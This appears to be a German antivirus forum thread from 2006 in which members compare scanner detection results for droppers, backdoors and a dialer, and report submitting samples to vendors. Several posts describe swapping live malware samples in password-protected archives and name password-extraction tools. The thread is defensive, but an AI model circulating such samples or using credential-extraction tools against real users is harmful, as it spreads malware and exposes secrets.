QUOTE(Anubis @ 28.04.2006, 13:06) Aber bei NOD32 mit Heuristik und trotzdem wird beide Male nichts gefunden. [right][snapback]145630[/snapback][/right] Ja, stimmt wohl, ein Keylogger ist imho etwas, das eine gute Heuristik finden könnte, auch wenn diese spezielle Datei unbekannt ist. Dumm'n Spruch: (nicht verkneifen kann) ![]() Was lernen wir daraus? Bei dem jetzigen Stand der Entwicklung ist auch eine angeblich gute Heuristik noch nicht in der Lage, jede Malware an ihrem potentiellen Verhalten zu erkennen. Oder anders formuliert: Es geht nichts über gute Signaturen |
|
|
![]()
Beitrag
#40
|
|
![]() Walk like an Egyptian ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 3.546 Mitglied seit: 17.02.2006 Mitglieds-Nr.: 4.453 ![]() |
Wäre es technisch denn nicht machbar, genau eine solche Heuristik zu fertigen ?
![]() -------------------- Die Menschen sind grob in drei Kategorien zu unterteilen: Die Wenigen, die dafür sorgen, daß etwas geschieht..., die Vielen, die zuschauen, wie etwas geschieht..., und die überwältigende Mehrheit, die keine Ahnung hat, was überhaupt geschieht.
- Viele Menschen sind gut erzogen, um nicht mit vollem Mund zu sprechen, aber sie haben keine Bedenken, es mit leerem Kopf zu tun...... (Orson Welles) |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#41
|
Gäste ![]() |
schade das sie trendmicro nicht miteinbeziehen in virustotal...der würd noch fehlen, dann sind alle großen und namhaften zusammen.
und trendmicro antspyware ist echt nicht schlecht...hat auch den passwort tools ordner gemeldet! hab aber nicht alle drangenommen... ![]() |
|
|
![]()
Beitrag
#42
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
kann mir nicht jemand mal die winsis32.exe und mailpv.exe zukommen lassen?
Bei DrWeb scheint sie nicht angekommen zu sein. ftp: newvirus.drweb-online.com user: newvirus pwd: new_virus_up Verzeichnis ist nicht listbar, download nicht moeglich - nur upload. Upload von unverschluesselten Dateien ist moeglich (wird nicht automatisch gescannt ![]() Michael |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#43
|
Gäste ![]() |
ich habs dir jetzt nocheinmal auf den ersten server geladen (rock).
passwort wie gehabt. ist zwar auch ein crypto aber du brauchst kein programm, einfach die exe mit dem passwort entpacken... hab dir aber schon alles geschickt, einmal crypto, dann 12 stück "lose" in einem zipordner incl. winsis32.exe. ! diese winsis32.exe ist "aussen" benannt mit backdoor dropper, porndialer. rock ![]() |
|
|
![]()
Beitrag
#44
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
wie hastn du das zusammenbekommen rock, hast du beim Surfen nicht aufgepasst?
![]() -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#45
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
@rock
Es wurde schon so einiges hinzugefuegt heute. (winsis32.exe war inzwischen dort schon bekannt - ich hatte die nur uebersehen.) Allerdings die mailpv.exe habe ich nicht gesehen. Danke. |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#46
|
Gäste ![]() |
die mailpv.exe findest du hier:
http://www.rokop-security.de/index.php?sho...ndpost&p=145613 es ist eine der passwort tools von nirsoft, indemfall das für mail. es sind alle in einem zipordner. 6 stück. haben wir eigentlich die letzetn vielen postings davon gepostet...irgendwie... ![]() nagut, der stress! ![]() ![]() |
|
|
![]()
Beitrag
#47
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
Ha,...hast Recht,... waren zu viele Files
![]() Sollte nun alles bekannt/hinzugefuegt sein, auch die Tools: Asterisk Logger\astlog.exe is hacktool program Tool.PassView - ignored! Dialupass\dialupass.exe is hacktool program Tool.DialupPass.243 - ignored! Mail PassView\mailpv.exe is hacktool program Tool.ShowPass - ignored! MessenPass\mspass.exe is hacktool program Tool.MessenPass - ignored! Network Password Recovery\netpass.exe is hacktool program Tool.Netpass - ignored! Protected Storage PassView\pspv.exe is hacktool program Tool.PassView - ignored! "ignored" ist die default-Einstellung fuer HackTools hier. ![]() Danke fiuer die Geduld! ![]() Micha |
|
|
Gast_rock_* |
![]()
Beitrag
#48
|
Gäste ![]() |
QUOTE(bond7 @ 28.04.2006, 17:23) wie hastn du das zusammenbekommen rock, hast du beim Surfen nicht aufgepasst? ![]() hehe...na sowas findet man irgendwie über den lauf der zeit... QUOTE(drweb-online @ 28.04.2006, 18:09) Danke fiuer die Geduld! ![]() gern geschehen...auch in meinem interesse! den server account behalt ich mir mal bis auf weiteres! ![]() ![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#49
|
Gäste ![]() |
jetzt hab ich auch endlcih das thema gefunden wo die winsis32.exe gepostet war!
nur hat die nichts mit dem small zu tun den er zu beginn gepostet hat...die winsis32.exe war zusätzlich am rechner und in einem link aus dem log ersichtlich..die hat nämlich sein scanner und was er nutze nicht erkannt... http://www.rokop-security.de/index.php?sho...ndpost&p=140382 beginnt etwas weiter oben...ist mittlerweile editiert. (link weg) ![]() wurde seinerzeit mehrmals hochgeladen, (1 Monat her) nicht nur von mir sicherlich..zuminderst vom anwender selber,...soviel ein letztes mal zur automatischen weiterleitung, bzw. zur "signatur-verbesserung". edit: hier das posting wo noch die links zu der berüchtigen datei sind...gibts gleich ein paar zips davon...kann sich ja micha von dr.web vielleicht auch noch ganz anschauen wo da was wirklich herkommt...und was es da hat...ob da echt ein porndial oder so'n zeug in der anwendung Driver Genius oder drumherum steckt... http://www.rokop-security.de/index.php?sho...ndpost&p=141510 ![]() Der Beitrag wurde von rock bearbeitet: 29.04.2006, 10:03 |
|
|
![]()
Beitrag
#50
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
QUOTE(rock @ 29.04.2006, 10:54) ...ob da echt ein porndial oder so'n zeug in der anwendung Driver Genius oder drumherum steckt... http://www.rokop-security.de/index.php?sho...ndpost&p=141510 ![]() [right][snapback]145729[/snapback][/right] Hmm... Du meinst aber nicht das "WinSIS-X Schäferhunde Informations System - WinSIS-X DataBase" ![]() http://home19.inet.tele.dk/winsisx/SISdata...er/hunddown.htm (vielleicht sind die ja auch infiziert - mit der "Hundegrippe" ![]() Micha |
|
|
Gast_rock_* |
![]()
Beitrag
#51
|
Gäste ![]() |
umpf!
![]() wie gesagt der porndialer winsis32.exe war von impotato . der link fehlt jedoch bei sunbelt gibts aber darüber eine info. (impotato porndialer) ![]() Der Beitrag wurde von rock bearbeitet: 29.04.2006, 10:55 |
|
|
![]() ![]()
Beitrag
#52
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Also BitDefender, eTrust, McAfee und Symantec, so langsam wird es peinlich:
![]() ... und falls wieder der Einwand kommt, dass es Abweichungen zwischen den Scannern auf Virustotal bzw. Jottis und den zu Hause installierten Windows-Versionen geben kann, so kann ich das zumindest für BitDefender ausschließen. Da kommt die 9er Standard auch zu keinem anderen Ergebnis. -------------------- Gruß
Stefan |
|
|
Gast_Scrapie_* |
![]()
Beitrag
#53
|
Gäste ![]() |
Tag
Nicht nur bei v1.3 siehts so besch**** aus, auch bei der Neusten. Seit meinem letzten Posting hier am 27.04.06 um 22:49 hat sich bei der Erkennung des Original-Binders nichts getan: ![]() Zum Vergleiche das Bild vom 27.04: ![]() Und bei der Einbindung der neuen UPX-Version hat einzig und alleine Ikarus es fertig gebracht, dafür hat TheHacker ihn wieder entfernt?: ![]() Zum Vergleiche das Bild vom 27.04: ![]() Was soll man da noch groß sagen? Scrapie |
|
|
![]()
Beitrag
#54
|
|
Womanizer ![]() Gruppe: Freunde Beiträge: 3.798 Mitglied seit: 05.05.2004 Mitglieds-Nr.: 765 ![]() |
Viel kurioser ist das folgende Ergebnis:
Das Teil schwirrt UPX-gepackt im Netz herum. Die Erkennung sieht so aus: ![]() "Entpackt" man es und lässt es dann checken, erhält man dieses Ergebnis: ![]() Bitter, wenn anscheinend so stur Signaturen eingepflegt werden, dass man das Entpacken ganz außen vor lässt. -------------------- |
|
|
![]()
Beitrag
#55
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Ohne Worte.
![]() -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#56
|
Gäste ![]() |
tja...scheinbar wollen manche auch nicht bei schärferen sachen - ds ding ist aber schon ein etwas älteres....
trotzdem...3 nieten.... AntiVir Worm/Drefir.G.2 gefunden ArcaVir Trojan.Rbot.Gen.107312.MX gefunden Avast Win32:Trojan-gen. {Other} gefunden AVG Antivirus IRC/BackDoor.SdBot.IOW gefunden BitDefender Win32.Drefir.G@mm gefunden ClamAV Keine Viren gefunden Dr.Web Win32.IRC.Bot.based gefunden F-Prot Antivirus Keine Viren gefunden Fortinet W32/RBot!tr.bdr gefunden Kaspersky Anti-Virus Backdoor.Win32.Rbot.gen gefunden NOD32 Win32/Rbot gefunden Norman Virus Control W32/Spybot.XBR gefunden UNA Keine Viren gefunden VirusBuster Worm.Rbot.CXW gefunden VBA32 Backdoor.Win32.Rbot.gen gefunden was solls...das ganze hat maximal zur folge das die mitarbeit oder das interesse an einsendungen und alles drum herum den bach runter geht... ![]() |
|
|
Gast_rock_* |
![]()
Beitrag
#57
|
Gäste ![]() |
QUOTE(Stefan @ 03.05.2006, 19:35) Also BitDefender, eTrust, McAfee und Symantec, so langsam wird es peinlich: stef,...was ist dieses multijoiner oder microjoiner eigentlich was schlimmes? kannst du mir das zwecks mc afee auch schicken? mal sehen ob es am desktopscanner meckert. wenn nicht...pech gehabt! ![]() ![]() |
|
|
![]()
Beitrag
#58
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Ich würde ihn dir ja gern schicken, wenn du mir eine Mailadresse hinterlässt.
Allerdings funktioniert das PM-System wie es aussieht noch nicht wieder. Also lass dir was einfallen. ![]() QUOTE(rock @ 04.05.2006 @ 19:35) stef,...was ist dieses multijoiner oder microjoiner eigentlich was schlimmes? Was es macht, hatte @bond7 hier mal angerissen.
-------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]()
Beitrag
#59
|
Gäste ![]() |
ja schicks einfach mal an .....
danke! ![]() Der Beitrag wurde von rock bearbeitet: 04.05.2006, 19:48 |
|
|
![]()
Beitrag
#60
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
QUOTE Quelle: Manuelle Prüfung Risikokategorie Hacker-Tool Gesamtrisikoauswirkung: Hoch Leistung: Hoch Datenschutz: Hoch Entfernen: Hoch Stealth: Hoch Klicken Sie hier, um weitere Informationen über dieses Risiko zu erhalten: Hacktool.Exebind Durchgeführte Aktion: Entfernt Beschreibung: Betroffene Bereiche: 1 Dateien: C:\Bild-Dieter__JPG\Bild-Dieter__JPG.com - Gelöscht wann der Trojan-Dropper.Win32.MultiJoiner.13.j, eingepflegt wurde kann ich allerdings nicht sagen weil ich heute per zufall mal im Quarantäneordner war. -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#61
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(rock @ 04.05.2006, 20:37) ja schicks einfach mal an ..... Wat is denn nu @rock?[right][snapback]146686[/snapback][/right] Erkennt es dein McAfee@Home? -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#62
|
Gäste ![]() |
nö! leider nicht.
und ich kanns ncihtmal an mc afee schicken...da dieses windows xp keine zip verschlüsseln kann, wie es windows millenium konnte. es kann lediglich verschlüsselte zip von anderen leuten öffnen mit passwort. (ich frag mich anbei bis heute wieso microsoft das feature mit den zipverschlüsseln bei XP eingestellt hat anstatt zu verbessern!) so ist man gezwungen eigens dafür ein programm zu kaufen oder laden....(okey...bald sind wir bei drei seiten nebenbeithema! ![]() so , also....ich habs dann auf alle arten und möglichkeiten geschickt...auch mit cryptoprogrammen...aber mc afee wollen es nicht um die burg annehmen...wenn es kein stinknormaler verschlüsselter zipordner ist der das eigene passwort infected haben muss. tja..leider... ![]() |
|
|
Gast_rock_* |
![]()
Beitrag
#63
|
Gäste ![]() |
aber es sieht bei den anderen immer noch so aus: (bei virustotal)
AntiVir 6.34.0.24 04.20.2006 TR/Drop.MultiJoiner.13.J.5 Avast 4.6.695.0 05.05.2006 Win32:Trojan-gen. {VC} AVG 386 05.05.2006 Dropper.Generic.EFW Avira 6.34.1.58 05.06.2006 TR/Drop.MultiJoiner.13.J.5 BitDefender 7.2 05.07.2006 no virus found CAT-QuickHeal 8.00 05.05.2006 no virus found ClamAV devel-20060426 05.07.2006 Trojan.Dropper.Small-51 DrWeb 4.33 05.07.2006 Trojan.MulDrop.3684 eTrust-InoculateIT 23.72.1 05.06.2006 no virus found eTrust-Vet 12.4.2194 05.04.2006 no virus found Ewido 3.5 05.07.2006 Dropper.MultiJoiner.13.j Fortinet 2.71.0.0 05.07.2006 W32/MultiJoiner.J!tr F-Prot 3.16c 05.05.2006 destructive program named W32/Trojan.BEN Ikarus 0.2.65.0 05.05.2006 Trojan-Dropper.Win32.MultiJoiner.13.J Kaspersky 4.0.2.24 05.07.2006 Trojan-Dropper.Win32.MultiJoiner.13.j McAfee 4756 05.05.2006 no virus found Microsoft 1.1372 05.07.2006 no virus found NOD32v2 1.1523 05.05.2006 Win32/TrojanDropper.Agent.AGE Norman 5.90.17 05.05.2006 W32/Multijoiner.C Panda 9.0.0.4 05.06.2006 Bck/Gerzidan.A Sophos 4.05.0 05.07.2006 Troj/Mdrop-UO Symantec 8.0 05.07.2006 no virus found TheHacker 5.9.7.139 05.05.2006 Trojan/Dropper.MultiJoiner.13.j UNA 1.83 05.06.2006 TrojanDropper.Win32.MultiJoiner.13 VBA32 3.11.0 05.06.2006 Trojan-Dropper.Win32.MultiJoiner.13.j |
|
|
![]()
Beitrag
#64
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
QUOTE Symantec 8.0 05.07.2006 no virus found http://www.rokop-security.de/index.php?sho...ndpost&p=146724 hierran kann man bestimmt erkennen das Norton nicht gleich Symantec ist . ![]() -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
Gast_rock_* |
![]()
Beitrag
#65
|
Gäste ![]() |
hmm...ist das gleich? oder wie? wie heist den der scanner...ist doch dr.norton von symantec...(oder steh ich am schlauch?)
![]() welche versionsnummer hat der scanenr im ganzen .... ich hab auf der symantecseite ein liveupdate, 6.mai gesehen bei den aktuellen beschreibungen... multijioner dürfte es auf den ersten eintrag nicht finden/anzeigen. ![]() |
|
|
![]()
Beitrag
#66
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
QUOTE hmm...ist das gleich? Nicht ganz. QUOTE wie heist den der scanner...ist doch dr.norton von symantec NIS2006 QUOTE ...(oder steh ich am schlauch?) jap QUOTE multijioner dürfte es auf den ersten eintrag nicht finden/anzeigen. doch tut er hier aber , das ganze ding heisst Bild-Dieter__JPG.com und wird als Hacktool.Exebind erkannt. -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#67
|
Gäste ![]() |
QUOTE(bond7 @ 07.05.2006, 12:54) doch tut er hier aber , das ganze ding heisst Bild-Dieter__JPG.com und wird als Hacktool.Exebind erkannt. [right][snapback]147139[/snapback][/right] hmmm...dann stimmts... was ist dann dieses symantec 8 engine welches bei virsutotal verwendet wird? ich glaub es war ja nicht das erste mal das du was bestätigen konntest...was beim hochladen nicht gefunden wird. ![]() |
|
|
![]()
Beitrag
#68
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(rock @ 07.05.2006, 12:23) so , also....ich habs dann auf alle arten und möglichkeiten geschickt...auch mit cryptoprogrammen...aber mc afee wollen es nicht um die burg annehmen...wenn es kein stinknormaler verschlüsselter zipordner ist der das eigene passwort infected haben muss. Ich weiß nicht, warum du solche Schwierigkeiten damit hast, denen ein stinknormales passwortgeschütztes Zip-File zu schicken.[right][snapback]147118[/snapback][/right] Ich habe denen jetzt mal das File hochgeladen: ![]() Das hat übrigens mit IZArc ganz hervorragend funktioniert. ![]() -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]()
Beitrag
#69
|
Gäste ![]() |
nanu...wo kann man bei mc afee hochladen?
ja...die packprogramme schau ich mir schon ne weile an...aber sieht alles so kompliziert und vielseitig aus.... ob dat gut geht... runtergeladen hab ich auch schon einiges...aber weis nicht sorecht.. ![]() |
|
|
![]()
Beitrag
#70
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(rock @ 07.05.2006, 13:19) nanu...wo kann man bei mc afee hochladen? Hier.[right][snapback]147153[/snapback][/right] -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#71
|
Gäste ![]() |
boah!...da muss man ja ein buch schreiben....und foto wird keins benötigt??
naja...dann lieber packer weitersuchen.... ![]() |
|
|
![]() ![]()
Beitrag
#72
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
So, eine Antwort hat es schonmal von McAfee gegeben:
QUOTE A.V.E.R.T. Sample Analysis Warten wir mal ab, wann die Taten folgen.
Issue Number: 2352184 Virus Research Engineer: Babu Nath Giri Identified: BackDoor-COC.dr AVERT Labs, Bangalore. Thank you for submitting your suspicious file. Synopsis - Attached is a file for extra detection(with 4.4.00 engine), which will be in-cluded in a future DAT set. Der Beitrag wurde von Stefan bearbeitet: 08.05.2006, 18:54 -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#73
|
Gäste ![]() |
hmm...stand da nicht was von Multidropper NB oder MB?....
müsste am ende der mail sein von mc afee ![]() ![]() |
|
|
![]()
Beitrag
#74
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Nö.
![]() Einzige Bezeichnung = siehe Fettgedrucktes oben. -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]()
Beitrag
#75
|
Gäste ![]() |
na abarten....bin auf arbeit....kann mich nur erinnern.....das eigenlich so einigermaßen das slebe wie bei dir stand...nur andere bearbeiter von mc afee...
und ganz am ende bevor die mail aus ist....kommt linksbündig nochmals das wort Multidropper MB oder eben NB vor. ja werden wir eh sehen... ich hab die mail aber schon gelöscht daheim...bin aber 100% sicher das dieses wort am ende vorkam! die "normalsterblichen" bekommen immer mittwochs/donnerstag morgen die ups...also sollte es diese woche ncoh eingebaut sein! dann kann ichs ja nochmal prüfen...oder wir laden mal hoch... := ![]() |
|
|
Gast_rock_* |
![]()
Beitrag
#76
|
Gäste ![]() |
@ stef, and interests...
hmm..also bevor ich ins bett geh....also...mei mail schaut da irgendwie nur ein bissl wenig ähnlich aus: Hi, Thanks for uploading the file(s): I've included it under ;--------------------------------- (799) backdoor.log ;--------------------------------- (154.388) DAN6.exe (144.678) DANZ6.exe (144.678) DC.exe (24.576) INT.exe BackDoor-COC ;--------------------------------- (314.129) multijoiner.exe (289.518 )6-DATEI.exe (178.996) da6.exe (49.183) in.exe replacement "MultiDropper-NB" ;--------------------------------- (82.008) foto.exe ;--------------------------------- regards, xxxnamexxx McAfee Avert _______________________ ![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#77
|
Gäste ![]() |
so...update ist da...erkennung OK!
MultiDropper-NB best wishes rock ![]() |
|
|
Gast_rock_* |
![]()
Beitrag
#78
|
Gäste ![]() |
übrigens...stefan...hast du Bitdefender was geschickt??
AntiVir 6.34.1.27 05.10.2006 TR/Drop.MultiJoiner.13.J.5 Avast 4.6.695.0 05.08.2006 Win32:Trojan-gen. {VC} AVG 386 05.09.2006 Dropper.Generic.EFW BitDefender 7.2 05.10.2006 no virus found CAT-QuickHeal 8.00 05.09.2006 no virus found ClamAV devel-20060426 05.10.2006 Trojan.Dropper.Small-51 DrWeb 4.33 05.10.2006 Trojan.MulDrop.3684 eTrust-InoculateIT 23.72.4 05.10.2006 no virus found eTrust-Vet 12.4.2203 05.10.2006 no virus found Ewido 3.5 05.10.2006 Dropper.MultiJoiner.13.j Fortinet 2.76.0.0 05.10.2006 W32/MultiJoiner.J!tr F-Prot 3.16c 05.09.2006 destructive program named W32/Trojan.BEN Ikarus 0.2.65.0 05.09.2006 Trojan-Dropper.Win32.MultiJoiner.13.J Kaspersky 4.0.2.24 05.10.2006 Trojan-Dropper.Win32.MultiJoiner.13.j McAfee 4758 05.09.2006 MultiDropper-NB Microsoft 1.1372 05.10.2006 no virus found NOD32v2 1.1528 05.09.2006 Win32/TrojanDropper.Agent.AGE Norman 5.90.17 05.10.2006 W32/Multijoiner.C Panda 9.0.0.4 05.09.2006 Bck/Gerzidan.A Sophos 4.05.0 05.10.2006 Troj/Mdrop-UO Symantec 8.0 05.10.2006 no virus found TheHacker 5.9.7.140 05.08.2006 Trojan/Dropper.MultiJoiner.13.j UNA 1.83 05.06.2006 TrojanDropper.Win32.MultiJoiner.13 VBA32 3.11.0 05.09.2006 Trojan-Dropper.Win32.MultiJoiner.13.j eTrust hat's bereits von mir heute erhalten... ![]() |
|
|
Gast_rock_* |
![]()
Beitrag
#79
|
Gäste ![]() |
das ist aber seltsam...eTrust kennt es ja eh zu kennen....schreibt sogar autom. zurück als was es gelistet ist...ganz drunter schreibts aber erst wieder das sie informieren wenn sie es einpflegen...
![]() FILE ------------------------------------------------------------------------ Multidropper!.com ------------------------------------------------------------------------ The Windows PE (I386,EXE) file "Multidropper!.com" has been determined to be malicious. Aliases reported by other AV products are listed here: (Trojan-Dropper.Win32.MultiJoiner.13.j) (MultiDropper-NB) (Hacktool.Exebind) CA antivirus products address this malware as follows: ------------------------------------------------------ eTrust Antivirus 6.x/v7 (Vet Engine) We will inform you by email ASAP when we have a signature update available providing detection. |
|
|
![]()
Beitrag
#80
|
|
![]() Schauspiel-Gott aka Kilauea ![]() Gruppe: Mitarbeiter Beiträge: 7.537 Mitglied seit: 20.04.2003 Wohnort: Göttingen Mitglieds-Nr.: 46 ![]() |
Erkennen und eine Signatur erstellen ist etwas anderes als "in den veröffentlichten Signaturen enthalten".
Domino -------------------- Keep the spirit alive.....
|
|
|
![]()
Beitrag
#81
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(rock @ 10.05.2006, 12:56) übrigens...stefan...hast du Bitdefender was geschickt?? Ja @rock, schon 3 mal. [...] BitDefender 7.2 05.10.2006 no virus found [...] [right][snapback]148048[/snapback][/right] ![]() Ich habe es aufgegeben und werde es mir bis Anfang nächsten Jahres merken. Da läuft nämlich die Lizenz ab und wird dann wohl nicht mehr erneuert. ![]() Der Beitrag wurde von Stefan bearbeitet: 10.05.2006, 22:10 -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]()
Beitrag
#82
|
Gäste ![]() |
eTrust = Win32/MultiDropper
![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#83
|
Gäste ![]() |
alles geht heut verdammt schnell...absendungen werden raqsch beantwortet...eTrust hat es auch bereits BEIDEN engines eingepflanzt...
